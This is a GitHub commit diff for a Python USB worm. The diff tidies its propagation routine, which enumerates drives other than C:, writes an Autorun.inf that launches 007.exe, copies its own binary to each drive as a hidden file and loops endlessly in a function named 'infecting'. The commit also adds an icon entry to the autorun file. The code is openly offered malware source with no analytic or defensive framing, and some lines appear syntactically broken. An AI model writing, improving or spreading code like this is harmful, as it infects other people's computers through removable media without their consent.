File tree Expand file tree Collapse file tree 1 file changed +15
-10
lines changed
Expand file tree Collapse file tree 1 file changed +15
-10
lines changed Original file line number Diff line number Diff line change @@ -10,6 +10,7 @@ def writeconfig:
1010 autorun = '''
1111 [autorun]
1212 open=007.exe
13+ icon=007.exe
1314 '''
1415 with open ("Autorun.inf" ,'w' ) as loadautorun :
1516 loadautorun .write (autorun )
@@ -40,19 +41,23 @@ def go(self):
4041 drivename = chr (drive ) + ':\\ '
4142 if os .path .exists (drivename ):
4243 drives .append (drivename )
43- drives .remove ("C:\\ " )
44- for infectwrite in drives :
45- os .chdir (infectwrite )
46- if '007.exe' and 'Autorun.inf' not in os .listdir (infectwrite ):
44+ drives .remove ("C:\\ " )
45+ try :
46+ for infectwrite in drives :
4747 try :
48- writeconfig ()
49- with open (filename ,'rb' ) as writethis :
50- pages = writethis .read ()
51- with open (infectwrite + "007.exe" ,'wb' ) as loadthis :
52- loadthis .write (pages )
53- win32api .SetFileAttributes ("007.exe" ,win32con .FILE_ATTRIBUTE_HIDDEN )
48+ os .chdir (infectwrite )
49+ if '007.exe' and 'Autorun.inf' not in os .listdir (infectwrite ):
50+ writeconfig ()
51+ with open (filename ,'rb' ) as writethis :
52+ pages = writethis .read ()
53+ with open (infectwrite + "007.exe" ,'wb' ) as loadthis :
54+ loadthis .write (pages )
55+ win32api .SetFileAttributes ("007.exe" ,win32con .FILE_ATTRIBUTE_HIDDEN )
5456 except :
5557 pass
58+ except :
59+ pass
60+
5661def infecting :
5762 while True :
5863 infect ().go ()
You can’t perform that action at this time.
0 commit comments